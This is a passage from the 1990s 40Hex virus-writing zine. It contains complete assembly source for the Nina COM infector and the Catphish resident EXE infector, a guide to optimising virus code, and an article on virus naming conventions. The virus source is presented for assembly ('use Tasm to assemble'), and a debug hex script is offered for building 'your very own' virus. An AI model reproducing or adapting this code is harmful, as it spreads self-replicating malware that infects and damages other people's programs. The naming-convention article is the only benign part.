oldint13 dd ? ; original interrupt 13h vector
oldint24 dd ? ; original interrupt 24h vector
int13tempCSIP dd ? ; stores calling CS:IP of int 13h
carrierPSP dw ? ; carrier file PSP segment
DOSsegment dw ? ; segment of DOS list of lists
ownerfirstMCB dw ? ; owner of the first MCB
jmpfarptr db ? ; 0eah, jmp far ptr
int21store dd ? ; temporary storage for other 4 bytes
; and for pointer to virus int 21h
tracemode db ? ; trace mode
instructionstotrace db ? ; number of instructions to trace
handletable dw 28h dup (?) ; array of handles
handlesleft db ? ; entries left in table
currentPSP dw ? ; storage for the current PSP segment
curfileposlow dw ? ; current file pointer location, low word
curfileposhigh dw ? ; current file pointer location, high word
filesizelow dw ? ; current file size, low word
filesizehigh dw ? ; current file size, high word
savebuffer dw ? ; storage for handle read, etc.
savelength dw ? ; functions
return_code dw ? ; returned in AX on exit of int 21h
int21flags dw ? ; storage of int 21h return flags register
tempFCB db 25h dup (?) ; copy of the FCB
errorflag db ? ; 0 if no error, 1 if error
int13flags dw ? ; storage of int 13h return flags register
savess dw ? ; temporary storage of stack segment
savesp dw ? ; and stack pointer
BREAKsave db ? ; current BREAK state
checkres db ? ; already installed flag
initialax dw ? ; AX upon entry to carrier
saveIMR db ? ; storage for interrupt mask register
saveoffset dw ? ; temp storage of CS:IP of
savesegment dw ? ; caller to int 21h
pushpopalltempstore dw ? ; push/popall caller address
numfreeclusters dw ? ; total free clusters
DOSversion db ? ; current DOS version
hideclustercountchange db ? ; flag of whether to hide free cluster count
hide_size db ? ; hide filesize increase if equal to 0
copyparmblock db 0eh dup (?) ; copy of the parameter block
origsp dw ? ; temporary storage of stack pointer
origss dw ? ; and stack segment
origcsip dd ? ; temporary storage of caller CS:IP
copyfilename db 50h dup (?) ; copy of filename
storesp dw ? ; temporary storage of stack pointer
storess dw ? ; and stack segment
stackptr dw ? ; register storage stack pointer
storecall dw ? ; temporary storage of function offset
topstack = 1600h
_4096 ends
end
40Hex Number 9 Volume 2 Issue 5 File 006
Below is the Nina virus. It's a 256 byte generic COM infector supposedly
originating in Bulgaria. Although some minor portions are not as highly
optimised as they could be, the code is well-written. Items of note include
the infection method, which is somewhat reminiscent of Jerusalem, the
installation check handler in int 21h, and the residency routine. As always,
use Tasm to assemble.
Dark Angel
.model tiny
.code
org 100h
; Disassembly done by Dark Angel of Phalcon/Skism
; for 40Hex Number 9, Volume 2 Issue 5
start:
push ax
mov ax,9753h ; installation check
int 21h
mov ax,ds
dec ax
mov ds,ax ; ds->program MCB
mov ax,ds:[3] ; get size word
push bx
push es
sub ax,40h ; reserve 40h paragraphs
mov bx,ax
mov ah,4Ah ; Shrink memory allocation
int 21h
mov ah,48h ; Allocate 3Fh paragraphs
mov bx,3Fh ; for the virus
int 21h
mov es,ax ; copy virus to high
xor di,di ; memory
mov si,offset start + 10h ; start at MCB:110h
mov cx,100h ; (same as PSP:100h)
rep movsb
sub ax,10h ; adjust offset as if it
push ax ; originated at 100h
mov ax,offset highentry
push ax
retf
endfile dw 100h ; size of infected COM file
highentry:
mov byte ptr cs:[0F2h],0AAh ; change MCB's owner so the
; memory isn't freed when the
; program terminates
mov ax,3521h ; get int 21h vector
int 21h
mov word ptr cs:oldint21,bx ; save it
mov word ptr cs:oldint21+2,es
push es
pop ds
mov dx,bx
mov ax,2591h ; redirect int 91h to int 21h
int 21h
push cs
pop ds
mov dx,offset int21
mov al,21h ; set int 21h to virus vector
int 21h
pop ds ; ds->original program PSP
pop bx
push ds
pop es
return_COM:
mov di,100h ; restore original
mov si,endfile ; file
add si,di ; adjust for COM starting
mov cx,100h ; offset
rep movsb
pop ax
push ds ; jmp back to original
mov bp,100h ; file (PSP:100)
push bp
retf
exit_install:
pop ax ; pop CS:IP and flags in
pop ax ; order to balance the
pop ax ; stack and then exit the
jmp short return_COM ; infected COM file
int21:
cmp ax,9753h ; installation check?
je exit_install
cmp ax,4B00h ; execute?
jne exitint21 ; nope, quit
push ax ; save registers
push bx
push cx
push dx
push ds
call infect
pop ds ; restore registers
pop dx
pop cx
pop bx
pop ax
exitint21:
db 0eah ; jmp far ptr
oldint21 dd ?
infect:
mov ax,3D02h ; open file read/write
int 91h
jc exit_infect
mov bx,ax
mov cx,100h
push cs
pop ds
mov ah,3Fh ; Read first 100h bytes
mov dx,offset endvirus
int 91h
mov ax,word ptr endvirus
cmp ax,'MZ' ; exit if EXE
je close_exit_infect
cmp ax,'ZM' ; exit if EXE
je close_exit_infect
cmp word ptr endvirus+2,9753h ; exit if already
je close_exit_infect ; infected
mov al,2 ; go to end of file
call move_file_pointer
cmp ax,0FEB0h ; exit if too large
ja close_exit_infect
cmp ax,1F4h ; or too small for
jb close_exit_infect ; infection
mov endfile,ax ; save file size
call write
mov al,0 ; go to start of file
call move_file_pointer
mov dx,100h ; write virus
call write
close_exit_infect:
mov ah,3Eh ; Close file
int 91h
exit_infect:
retn
move_file_pointer:
push dx
xor cx,cx
xor dx,dx
mov ah,42h
int 91h
pop dx
retn
write:
mov ah,40h
mov cx,100h
int 91h
retn
db ' Nina '
endvirus:
int 20h ; original COM file
end start
40Hex Number 9 Volume 2 Issue 5 File 007
-------------------------------------------------------------------------
A New Virus Naming Convention
At the Anti-Virus Product Developers Conference organized by NCSA in
Washington in November 1991 a committee was formed with the objective
of reducing the confusion in virus naming. This committee consisted
of Fridrik Skulason (Virus Bulletin's technical editor) Alan Solomon
(S&S International) and Vesselin Bontchev (University of Hamburg).
The following naming convention was chosen:
The full name of a virus consists of up to four parts, desimited by
points ('.'). Any part may be missing, but at least one must be
present. The general format is
Family_Name.Group_Name.Major_Variant.Minor_Variant
Each part is an identifier, constructed with the characters
[A-Za-z0-9_$%&!'`#-]. The non-alphanumeric characters are permitted,
but should be avoided. The identifier is case-insensitive, but
mixed-case characters should be used for readability. Usage of
underscore ('_') (instead of space) is permitted, if it improves
readability. Each part is up to 20 characters long (in order to allow
such monstriosities like "Green_Caterpillar"), but shorter names
should be used whenever possible. However, if the shorter name is
just an abbreviation of the long name, it's better to use the long
name.
1. Family names.
The Family_Name represents the family to which the virus belongs.
Every attempt is made to group the existing viruses into families,
depending on the structural similarities of the viruses, but we
understand that a formal definition of a family is impossible.
When selecting a Family_Name, the following guidelines must be
applied:
"Must"
1) Do not use company names, brand names or names of living people,
except where the virus is provably written by the person. Common
first names are permissible, but be careful - avoid if possible.
In particular, avoid names associated with the anti-virus world.
If a virus claims to be written by a particular person or company
do not believe it without further proof.
2) Do not use an existing Family_Name, unless the viruses belong to
the same family.
3) Do not invent a new name if there is an existing, acceptable name.
4) Do not use obscene or offensive names.
5) Do not assume that just because an infected sample arrives with a
particular name, that the virus has that name.
6) Avoid numeric Family_Names like V845. They should never be used as
family names, as the members of the family may have different
lengths. When a new virus appears and a new Family_Name must be
selected for it, it is acceptable to us a temporary name like
_1234, but this must be changed as soon as possible.
"Should"
1) Avoid Family_Names like Friday 13th, September 22nd. They should
not be used as family names, as members of the family may have
different activation dates.
2) Avoid geographic names which are based on the discovery site - the
same virus might appear simultaneously in several different places.
3) If multiple acceptable names exist, select the original one, the
one used by the majority of existing anti-virus programs or the
more descriptive one.
"General"
1) All short (less than 60 bytes) overwriting viruses are grouped
under a Family_Name, called Trivial.
2. Group names.
The Group_Name represents a major group of similar viruses in a virus
family, something like a sub-family. Examples are AntiCAD (a
distinguished clone of the Jerusalem family, containing numerous
variants), or 1704 (a group of several virus variants in the Cascade
family).
When selecting a Group_Name, the same guidelines as for a Family_Name
should be applied, except that numeric names are more permissible -
but only if the respective group of viruses is well known under this
name.
3. Major variant name.
The major variant name is used to group viruses in a Group_Name, which
are very similar, and usually have one and the same infective length.
Again, the above guidelines are applied, with one major exception.
The Major_Variant is almost always a number, representing the
infective length, since it helps to distinguish that particular
sub-group of viruses. The infective length should be used as
Major_Variant name always when it is known. Exceptions of this rule
are:
1) When the infective length is not known, because the viruses are not
yet analyzed. In this case, consecutive numbers are used (1, 2, 3,
etc.). This should be changed as soon as more information about
the viruses becomes known.
2) When an alpha-numeric name of the virus sub-group already exists
and is popular, or more descriptive.
4. Minor variant name.
Minor variants are viruses with the same infective length, with
similar structure and behaviour, but slightly different. Usually the
minor variants are different patches of one and the same virus.
When selecting a Minor_Variant name, usually consecutive letters of
the alphabet are used (A, B, C, etc...). However, this is not a very
hard restriction and longer names can be used as well, especially if
the virus is already known under this (longer) name, or if the name is
more descriptive than just a letter.
The producers of virus detection software are strongly usrged to use
the virus names proposed here. The anti-virus researchers are advised
to use the described guidelines when selecting names for new viruses,
in order to avoid further confusion.
If a scanner is not able to distinguish between tow minor variants of
a virus, it should output the virus name up to the recognized major
variant. For instance, if it cannot distinguish between
Dark_Avenger.2000.Traveller.Copy and Dark.Avenger.Traveller.Zopy, it
should report both variants of the virus as Dark.Avenger.Traveller.
If it is also not able to distinguish between the major variants, it
should report the virus up to the recognized group name. That is, if
the scanner cannot make the difference between
Dark_Avenger.2000.Traveller.* and Dark_Avenger.2000.Die_Young, it
should report all the variants as Dark_Avenger.2000.
-------------------------------------------------------------------------
We at Phalcon/Skism welcome the proposals of this new committee. It
is a step in the right direction, helping clear up the mess caused by the
generation disorganisation which has dominated the virus naming conventions
to date. Additionally, if implemented properly, it will aid in
identification of strains. John McAfee's SCAN, which had been the best
virus scanner, fell from grace recently, when it implemented a new policy
of merging scan strings, causing confusion in identification. Fridrik
Skulason's F-Prot is the current champion of virus identification.
However, we must voice concerns that the rules are not strict enough.
There are clearly too few rules to cover the numerous viruses which
currently exist. Family, group, and major variant names for most current
common viruses should be established now. These guidelines need be created
ASAP to avoid later confusion. In the example in the last two paragraphs,
Dark Avenger strains are labelled separately as Dark_Avenger.2000 and
Dark.Avenger. Such confusion is simply not acceptable.
Wherever possible, the current common names should be kept. It would
be a shame if the world lost the Jerusalem family to some mad individual
who wishes to name it 1808. The rules cover this, but it is important to
set this down initially before stupid people butcher the rules. Number
names are neither informative nor interesting. Imagine advertising a
product as being able to catch "the deadly 605 virus." Some knobs have
proposed a numerical classification scheme of viruses. They're living in a
dream world.
We applaud the efforts of the committee and may only hope that anti-
virus developers attempt to adhere to the proposed rules. Hopefully, Mr.
Skulason and Dr. Solomon will lead the way, converting their own products
to this new naming convention. And who will classify the viruses? We
propose an open forum for discussion on a large network such as UseNet or
FidoNet moderated by either a virus researcher or anti-virus developer.
This will allow input from many people, some of whom have particular
specialties within certain groups of viruses.
40Hex Number 9 Volume 2 Issue 5 File 008
²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²
CODE OPTIMISATION, A BEGINNER'S GUIDE
²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²
Written by Dark Angel
²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²
When writing a virus, size is a primary concern. A bloated virus carrying
unnecessary baggage will run slower than its optimised counterpart and eat
up more disk space.
Never optimise any code before it works fully, since altering code after
optimisation often messes up the optimisation and, in turn, messes up the
code. After it works, the focus can shift to optimisation. Always keep a
backup of the last working copy of the virus, as optimisation often leads
to improperly working code. With this in mind, a few techniques of
optimisation will be introduced.
There are two types of optimisation: structural and local. Structural
optimisation occurs when shifting the position of code or rethinking and
reordering the functions of the virus shorten its length. A simple example
follows:
check_install:
mov ax,1234h
int 21h
cmp bx,1234h
ret
install_virus:
call check_install
jz exit_install
If this is the only instance that the procedure check_install is called,
the following optimisation may be made:
install_virus:
mov ax,1234h
int 21h
cmp bx,1234h
jz exit_install
The first fragment wastes a total of 4 bytes - 3 for the call and 1 for the
ret. Four bytes may not seem to be worth the effort, but after many such
optimisations, the code size may be brought down significantly. The
reverse of this optimisation, using procedures in lieu of repetitive code
fragments, may work in other instances. Properly designed and well-thought
out code will allow for such an optimisation. Another structural
optimisation:
get attributes
open file read/only
read file
close file
exit if already infected
clear attributes
open file read/write
get file time/date
write new header
move file pointer to end of file
concatenate virus
restore file time/date
close file
restore attributes
exit
Change the above to:
get attributes
clear attributes
open file read/write
read file
if infected, exit to close file
get file time/date
move file pointer to end of file
concatenate virus
move file pointer to beginning
write new header
restore file time/date
close file
restore attributes
exit
By using the second, an open file and a close file are eliminated while
adding only one move file pointer request. This can save a healthy number
of bytes.
Local, or peephole, optimisation is often easier to do than structural
optimisation. It consists of changing individual statements or short
groups of statements to save bytes.
The easiest type of peephole optimisation is a simple replacement of one
line with a functional equivalent that takes fewer bytes. The 8086
instruction set abounds with such possibilities. A few examples follow.
Perhaps the most widespread optimisation, replace:
mov ax,0 ; this instruction is 3 bytes long
mov bp,0 ; mov reg, 0 with any reg = nonsegment register takes 3 bytes
with
xor ax,ax ; this takes but 2 bytes
xor bp,bp ; mov reg, 0 always takes 2 bytes
or even
sub ax,ax ; also takes 2 bytes
sub bp,bp
One of the easiest optimisations, yet often overlooked by novices, is the
merging of lines. As an example, replace:
mov bh,5h ; two bytes
mov bl,32h ; two bytes
; total: four bytes
with
mov bx,532h ; three bytes, save one byte
A very useful optimisation moving the file handle from ax to bx follows.
Replace:
mov bx,ax ; 2 bytes
with
xchg ax,bx ; 1 byte
Another easy optimisation which can most easily applied to file pointer
moving operations:
Replace
mov ax,4202h ; save one byte from "mov ah,42h / mov al,2"
xor dx,dx ; saves one byte from "mov dx,0"
xor cx,cx ; same here
int 21h
with
mov ax,4202h
cwd ; equivalent to "xor dx,dx" when ax < 8000h
xor cx,cx
int 21h
Sometimes it may be desirable to use si as the delta offset variable, as an
instruction involving [si] takes one less byte to encode than its
equivalent using [bp]. This does NOT work with combinations such as
[si+1]. Examples:
mov ax,[bp] ; 3 bytes
mov word ptr cs:[bp],1234h ; 6 bytes
add ax,[bp+1] ; 3 bytes - no byte savings will occur
mov ax,[si] ; 2 bytes
mov word ptr cs:[si],1234h ; 5 bytes
add ax,[si+1] ; 3 bytes - this is not smaller
A somewhat strange and rather specialised optimisation:
inc al ; 2 bytes
inc bl ; 2 bytes
versus
inc ax ; 1 byte
inc bx ; 1 byte
A structural optimisation can also involve getting rid of redundant code.
As a virus related example, consider the infection routine. In few
instances is an error-trapping routine after each interrupt call necessary.
A single "jc error" is needed, say after the first disk-writing interrupt,
and if that succeeds, the rest should also work fine. Another possibility
is to use a critical error handler instead of error checking.
How about this example of optimised code:
mov ax, 4300h ; get file attributes
mov dx, offset filename
int 21h
push dx ; save filename
push cx ; and attributes on stack
inc ax ; ax = 4301h = set file attributes
push ax ; save 4301h on stack
xor cx,cx ; clear attributes
int 21h
...rest of infection...
pop ax ; ax = 4301h
pop cx ; cx = original attributes of file
pop dx ; dx-> original filename
int 21h
Optimisation is almost always code-specific. Through a combination of
restructuring and line replacement, a good programmer can drastically
reduce the size of a virus. By gaining a good feel of the 80x86
instruction set, many more optimisations may be found. Above all, good
program design will aid in creating small viruses.
40Hex Number 9 Volume 2 Issue 5 File 009
name VIRUSTEST
title
code segment
assume cs:code, ds:code, es:code
org 100h
;-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
; FirstStrike presents:
;
; The Catphish Virus.
;
; The Catphish virus is a resident .EXE infector.
; Size: 678 bytes (decimal).
; No activation (bomb).
; Saves date and file attributes.
;
; If assembling, check_if_resident jump must be marked over
; with nop after first execution (first execution will hang
; system).
;
; *** Source is made available to learn from, not to
; change author's name and claim credit! ***
start:
call setup ; Find "delta offset".
setup:
pop bp
sub bp, offset setup-100h
jmp check_if_resident ; See note above about jmp!
pre_dec_em:
mov bx,offset infect_header-100h
add bx,bp
mov cx,endcrypt-infect_header
ror_em:
mov dl,byte ptr cs:[bx]
ror dl,1 ; Decrypt virus code
mov byte ptr cs:[bx],dl ; by rotating right.
inc bx
loop ror_em
jmp check_if_resident
;--------------------------------- Infect .EXE header -----------------------
; The .EXE header modifying code below is my reworked version of
; Dark Angel's code found in his Phalcon/Skism virus guides.
infect_header:
push bx
push dx
push ax
mov bx, word ptr [buffer+8-100h] ; Header size in paragraphs
; ^---make sure you don't destroy the file handle
mov cl, 4 ; Multiply by 16. Won't
shl bx, cl ; work with headers > 4096
; bytes. Oh well!
sub ax, bx ; Subtract header size from
sbb dx, 0 ; file size
; Now DX:AX is loaded with file size minus header size
mov cx, 10h ; DX:AX/CX = AX Remainder DX
div cx
mov word ptr [buffer+14h-100h], dx ; IP Offset
mov word ptr [buffer+16h-100h], ax ; CS Displacement in module
mov word ptr [buffer+0Eh-100h], ax ; Paragraph disp. SS
mov word ptr [buffer+10h-100h], 0A000h ; Starting SP
pop ax
pop dx
add ax, endcode-start ; add virus size
cmp ax, endcode-start
jb fix_fault
jmp execont
war_cry db 'Cry Havoc, and let slip the Dogs of War!',0
v_name db '[Catphish]',0 ; Virus name.
v_author db 'FirstStrike',0 ; Me.
v_stuff db 'Kraft!',0
fix_fault:
add dx,1d
execont:
push ax
mov cl, 9
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 1
mov word ptr [buffer+4-100h], dx ; Fix-up the file size in
mov word ptr [buffer+2-100h], ax ; the EXE header.
pop bx
retn ; Leave subroutine
;----------------------------------------------------------------------------
check_if_resident:
push es
xor ax,ax
mov es,ax
cmp word ptr es:[63h*4],0040h ; Check to see if virus
jnz grab_da_vectors ; is already resident
jmp exit_normal ; by looking for a 40h
; signature in the int 63h
; offset section of
; interrupt table.
grab_da_vectors:
mov ax,3521h ; Store original int 21h
int 21h ; vector pointer.
mov word ptr cs:[bp+dos_vector-100h],bx
mov word ptr cs:[bp+dos_vector+2-100h],es
load_high:
push ds
find_chain: ; Load high routine that
; uses the DOS internal
mov ah,52h ; table function to find
int 21h ; start of MCB and then
; scales up chain to
mov ds,es: word ptr [bx-2] ; find top. (The code
assume ds:nothing ; is long, but it is the
; only code that would
xor si,si ; work when an infected
; .EXE was to be loaded
Middle_check: ; into memory.
cmp byte ptr ds:[0],'M'
jne Check4last
add_one:
mov ax,ds
add ax,ds:[3]
inc ax
mov ds,ax
jmp Middle_check
Check4last:
cmp byte ptr ds:[0],'Z'
jne Error
mov byte ptr ds:[0],'M'
sub word ptr ds:[3],(endcode-start+15h)/16h+1
jmp add_one
error:
mov byte ptr ds:[0],'Z'
mov word ptr ds:[1],008h
mov word ptr ds:[3],(endcode-start+15h)/16h+1
push ds
pop ax
inc ax
push ax
pop es
move_virus_loop:
mov bx,offset start-100h ; Move virus into carved
add bx,bp ; out location in memory.
mov cx,endcode-start
push bp
mov bp,0000h
move_it:
mov dl, byte ptr cs:[bx]
mov byte ptr es:[bp],dl
inc bp
inc bx
loop move_it
pop bp
hook_vectors:
mov ax,2563h ; Hook the int 21h vector
mov dx,0040h ; which means it will
int 21h ; point to virus code in
; memory.
mov ax,2521h
mov dx,offset virus_attack-100h
push es
pop ds
int 21h
pop ds
exit_normal: ; Return control to
pop es ; infected .EXE
mov ax, es ; (Dark Angle code.)
add ax, 10h
add word ptr cs:[bp+OrigCSIP+2-100h], ax
cli
add ax, word ptr cs:[bp+OrigSSSP+2-100h]
mov ss, ax
mov sp, word ptr cs:[bp+OrigSSSP-100h]
sti
xor ax,ax
xor bp,bp
endcrypt label byte
db 0eah
OrigCSIP dd 0fff00000h
OrigSSSP dd ?
exe_attrib dw ?
date_stamp dw ?
time_stamp dw ?
dos_vector dd ?
buffer db 18h dup(?) ; .EXE header buffer.
;----------------------------------------------------------------------------
virus_attack proc far
assume cs:code,ds:nothing, es:nothing
cmp ax,4b00h ; Infect only on file
jz run_kill ; executions.
leave_virus:
jmp dword ptr cs:[dos_vector-100h]
run_kill:
call infectexe
jmp leave_virus
infectexe: ; Same old working horse
push ax ; routine that infects
push bx ; the selected file.
push cx
push es
push dx
push ds
mov cx,64d
mov bx,dx
findname:
cmp byte ptr ds:[bx],'.'
jz o_k
inc bx
loop findname
pre_get_out:
jmp get_out
o_k:
cmp byte ptr ds:[bx+1],'E' ; Searches for victims.
jnz pre_get_out
cmp byte ptr ds:[bx+2],'X'
jnz pre_get_out
cmp byte ptr ds:[bx+3],'E'
jnz pre_get_out
getexe:
mov ax,4300h
call dosit
mov word ptr cs:[exe_attrib-100h],cx
mov ax,4301h
xor cx,cx
call dosit
exe_kill:
mov ax,3d02h
call dosit
xchg bx,ax
mov ax,5700h
call dosit
mov word ptr cs:[time_stamp-100h],cx
mov word ptr cs:[date_stamp-100h],dx
push cs
pop ds
mov ah,3fh
mov cx,18h
mov dx,offset buffer-100h
call dosit
cmp word ptr cs:[buffer+12h-100h],1993h ; Looks for virus marker
jnz infectforsure ; of 1993h in .EXE
jmp close_it ; header checksum
; position.
infectforsure:
call move_f_ptrfar
push ax
push dx
call store_header
pop dx
pop ax
call infect_header
push bx
push cx
push dx
mov bx,offset infect_header-100h
mov cx,(endcrypt)-(infect_header)
rol_em: ; Encryption via
mov dl,byte ptr cs:[bx] ; rotating left.
rol dl,1
mov byte ptr cs:[bx],dl
inc bx
loop rol_em
pop dx
pop cx
pop bx
mov ah,40h
mov cx,endcode-start
mov dx,offset start-100h
call dosit
mov word ptr cs:[buffer+12h-100h],1993h
call move_f_ptrclose
mov ah,40h
mov cx,18h
mov dx,offset buffer-100h
call dosit
mov ax,5701h
mov cx,word ptr cs:[time_stamp-100h]
mov dx,word ptr cs:[date_stamp-100h]
call dosit
close_it:
mov ah,3eh
call dosit
get_out:
pop ds
pop dx
set_attrib:
mov ax,4301h
mov cx,word ptr cs:[exe_attrib-100h]
call dosit
pop es
pop cx
pop bx
pop ax
retn
;---------------------------------- Call to DOS int 21h ---------------------
dosit: ; DOS function call code.
pushf
call dword ptr cs:[dos_vector-100h]
retn
;----------------------------------------------------------------------------
;-------------------------------- Store Header -----------------------------
store_header:
les ax, dword ptr [buffer+14h-100h] ; Save old entry point
mov word ptr [OrigCSIP-100h], ax
mov word ptr [OrigCSIP+2-100h], es
les ax, dword ptr [buffer+0Eh-100h] ; Save old stack
mov word ptr [OrigSSSP-100h], es
mov word ptr [OrigSSSP+2-100h], ax
retn
;---------------------------------------------------------------------------
;---------------------------------- Set file pointer ------------------------
move_f_ptrfar: ; Code to move file pointer.
mov ax,4202h
jmp short move_f
move_f_ptrclose:
mov ax,4200h
move_f:
xor dx,dx
xor cx,cx
call dosit
retn
;----------------------------------------------------------------------------
endcode label byte
endp
code ends
end start
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
Below is a sample file that is already infected.
Just cut out code and run through debug. Next rename
DUMMY.FIL to DUMMY.EXE and you have a working copy of
your very own Catphish virus.
N DUMMY.FIL
E 0100 4D 5A 93 00 06 00 00 00 20 00 00 00 FF FF 5E 00
E 0110 00 A0 93 19 0D 00 5E 00 3E 00 00 00 01 00 FB 30
E 0120 6A 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 01A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 01B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 01E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 02A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 02B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 02C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 02D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0300 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0310 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0320 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0330 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0340 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0350 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0360 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0370 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0380 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0390 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 03A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 03B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 03C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 03D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 03E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 03F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0400 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0410 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0420 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0430 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0440 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0450 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 04A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 04B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 04C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 04D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 04E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 04F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0500 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0510 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0520 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0530 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0540 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0550 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0560 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0570 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0580 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0590 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 05A0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 05B0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 05C0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 05D0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 05E0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 05F0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0600 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0610 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0620 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0630 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0640 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0650 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0660 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0670 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0680 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0690 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 06A0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 06B0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 06C0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 06D0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 06E0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 06F0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0700 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
